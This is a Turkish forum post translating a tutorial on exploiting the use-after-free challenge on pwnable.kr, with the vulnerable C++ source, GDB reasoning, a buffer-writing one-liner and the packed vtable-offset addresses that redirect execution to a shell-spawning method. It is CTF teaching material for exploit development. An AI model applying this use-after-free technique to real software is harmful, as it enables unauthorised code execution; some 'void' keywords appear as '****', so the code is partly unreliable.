Linux Exploit Geliştirme Serisi #4 | Use-After-Free [Pwnable.kr ->uaf]

M3m0ry

Kıdemli Üye
3 Haz 2017
4,410
125
3
xD
Bu sonraki bölümde, pawnable.kr üzerindeki UAF meydan okumasına göz gezdireceğiz. Bu bir 64-Bit (x64 bit) Linux UAF açığıdır. UAF'ı toddler bölümüne koymak biraz bir yüze şaplak atmaya benzer ama gördündükleri kadar korkunç değiller. Hadi konuya girelim.

Meydan Okumayı Keşfetmek

Tekrar, binary için birkaç kaynak sağladık. Aşşağıda var

Kod:
#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
 
class Human{
private:
    virtual **** give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual **** introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
 
class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual **** introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};
 
class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual **** introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};
 
int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);
 
    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
 
        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }
 
    return 0;   
}

Kodları tekrar gözden geçirmek biraz zaman alacaktır. Herşeyden önce, program kurulduğu zaman "man" ve "woman" adında 2 obje oluşturur. Aşşağıda ana fonksiyon proloğu görüyorsunuz.

Pwnable_UAF1.png


Her 2 obje için de 0x18 (24 Bayt) miktarında boyut ayrıldığına dikkat edin (minimum bir malloc boyutu). Bizde str "Jack" + int 0x19 (25) ve str "Jill" + int 0x15 (21) var.

Prologdan sonra, dallara ayrılmış bir menüye ulaşıyoruz. Kaynak koddan burada problem olduğu açık. Eğer "free"yi ve daha sonrasında "use"yi seçersek program segfault'daki silinmiş "man" ve "woman" objelerini sonuçları girişim yöntemini çağırmaya çalışacaktır.

Pwnable_UAF2.png


Bu, 2 argüman alan "after" seçeneğini bırakır. İkinci argüman bir dosya yoludur ve birinci argüman dosyadan hafızanın içine yazılan X baytlarının okunmasında kullanılan bir tamsayıdır.

Pwnable_UAF3.png


Tamamdır, oldukça basit. Eğer menu seçeneği olan "free"yi seçersek, ve daha sonra kendi özel objelerimizi bölüştürürsek (eşit boyutlarda) ve verilere menu seçeneği olan "use"yle referans verirdiğimizde birkaç çeşit ilkel kod yürütebilmeyi yapabililiriz.

Kalan son soru ise meydan okumayı tamamlamak için odaklanmamız gereken nedir? "Human" sınıfı bizim için bash shell yaratabilen"give_shell" denilen özel bir yönteme sahip. Bu oldukça uygun bir hedef gibi görünüyor.

Pwnable_UAF4.png


Herşeyi Pwn'lıyalım

Bunun çalışması için "use" seçeneğini daha iyi anlamamız lazım. Aşşağıda parçalara ayrılmış grafiği görüyorsunuz.

Pwnable_UAF5.png


Burada birbirine yakın 2 eş çağrı var gibi görünüyor. Muhtemelen birisi "man" objesi için diğeri de "woman" objesi için. Hadi GDB'deki "use"yi kıralım ve neler olacağına bakalım.

Pwnable_UAF6.png


Merakla, "Human::give_shell" yönteminin işaretçilerini görebiliyoruz. QWORD işaretçisi RDX'e yüklenmeden ve sonra main+286'da çalıştırılmadan önce RAX'a 8(IntPtr boyutu) eklediğimize dikkat edin. 8'i ekledikten sonra QWORD işaretçisi "Man::introduce"ya dönüşür.

Pwnable_UAF7.png


Programa 24 tampon verelim ve neler olacağına bakalım. Dosyaları aşşağıdaki gibi kurabiliriz.

Kod:
python -c 'print ("\x41"*8 + "\x42"*8 + "\x43"*8)' > OutFile

Etrafında biraz oynadıktan sonra kodumuzu ilkel yapmak içim menu seçeneklerinden "after"ı 2 kere seçmek zorunda olduğumuzu buldum. 24 baytlık 2 obje siliyoruz bu yüzden 2 tane 24 baytlık ayırma yapmamız gerektiğini varsayıyorum. Yada daha doğrusu, menü seçeneklerinden "use"ye tıkladığımızda ilk çağrı aslında 2. bölmeyi buna karşılık 2. çağrı da 1. bölmeyi referanslar.

Pwnable_UAF8.png


Oyun burda neredeyse sona eriyor. Keyfi olarak bir address ve daha önce "Human::give_shell" yöntemiyle bulduğumuz 2 adet QWORDS'u çağırabiliriz. Bunlardan 2 tanesini alıp ve 8 çıkartırsak (eşitlemek için rax'a 8 eklememiz gerektiğini hatırlayalım) bash shell'e yönlendirileceğiz.

Kod:
0x401570 - 8 = 0x401568 => \x68\x15\x40\x00\x00\x00\x00\x00
0x401550 - 8 = 0x401548 => \x48\x15\x40\x00\x00\x00\x00\x00

Oyun Bitti

Hadi kutuya girelim ve şu bayrağı alalım !

Pwnable_UAF9.png


Source: https://www.fuzzysecurity.com/tutorials/expDev/13.html
Translator: M3m0ry
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.